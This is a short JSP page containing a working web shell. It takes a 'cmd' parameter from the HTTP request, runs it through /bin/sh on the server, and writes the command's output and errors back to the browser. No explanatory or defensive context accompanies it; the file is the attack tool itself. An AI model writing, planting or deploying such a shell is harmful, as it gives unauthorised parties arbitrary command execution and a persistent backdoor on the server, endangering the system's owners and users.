<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.trim().isEmpty()) { try { Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader errorReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); } while ((line = errorReader.readLine()) != null) { out.println(line); } reader.close(); errorReader.close(); p.waitFor(); } catch (Exception e) { out.println("Error: " + e.getMessage()); } } %>